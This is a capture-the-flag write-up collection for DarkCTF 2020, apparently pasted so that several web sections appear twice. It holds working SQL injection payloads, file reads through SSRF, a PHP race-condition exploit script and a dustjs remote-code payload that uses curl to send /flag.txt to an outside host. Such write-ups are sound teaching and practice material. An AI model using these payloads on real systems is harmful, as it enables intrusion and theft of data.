at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
